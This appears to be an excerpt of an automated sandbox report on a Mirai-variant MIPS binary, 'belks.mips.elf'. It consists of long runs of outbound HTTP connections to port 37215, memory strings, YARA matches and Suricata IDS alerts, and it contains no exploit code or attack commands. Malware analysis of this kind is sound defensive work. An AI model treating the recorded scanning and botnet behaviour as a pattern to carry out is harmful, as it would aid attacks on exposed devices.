Source: unknown	Network traffic detected: HTTP traffic on port 49646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45718 -> 37215

Source: /tmp/belks.mips.elf (PID: 5436)

Queries kernel information via 'uname':

Jump to behavior

Source: belks.mips.elf, 5436.1.000055cac1fae000.000055cac2035000.rw-.sdmp, belks.mips.elf, 5440.1.000055cac1fae000.000055cac2035000.rw-.sdmp, belks.mips.elf, 5444.1.000055cac1fae000.000055cac2035000.rw-.sdmp, belks.mips.elf, 5452.1.000055cac1fae000.000055cac2035000.rw-.sdmp, belks.mips.elf, 5453.1.000055cac1fae000.000055cac2035000.rw-.sdmp, belks.mips.elf, 5458.1.000055cac1fae000.000055cac2035000.rw-.sdmp, belks.mips.elf, 5460.1.000055cac1fae000.000055cac2035000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: belks.mips.elf, 5436.1.000055cac1fae000.000055cac2035000.rw-.sdmp, belks.mips.elf, 5440.1.000055cac1fae000.000055cac2035000.rw-.sdmp, belks.mips.elf, 5444.1.000055cac1fae000.000055cac2035000.rw-.sdmp, belks.mips.elf, 5452.1.000055cac1fae000.000055cac2035000.rw-.sdmp, belks.mips.elf, 5453.1.000055cac1fae000.000055cac2035000.rw-.sdmp, belks.mips.elf, 5458.1.000055cac1fae000.000055cac2035000.rw-.sdmp, belks.mips.elf, 5460.1.000055cac1fae000.000055cac2035000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: belks.mips.elf, 5436.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp, belks.mips.elf, 5440.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp, belks.mips.elf, 5444.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp, belks.mips.elf, 5452.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp, belks.mips.elf, 5453.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp, belks.mips.elf, 5458.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp, belks.mips.elf, 5460.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: belks.mips.elf, 5436.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp, belks.mips.elf, 5440.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp, belks.mips.elf, 5444.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp, belks.mips.elf, 5452.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp, belks.mips.elf, 5453.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp, belks.mips.elf, 5458.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp, belks.mips.elf, 5460.1.00007ffea0bcb000.00007ffea0bec000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/belks.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/belks.mips.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: belks.mips.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5460.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5452.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5440.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5444.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5453.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5436.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5453, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5458, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5460, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
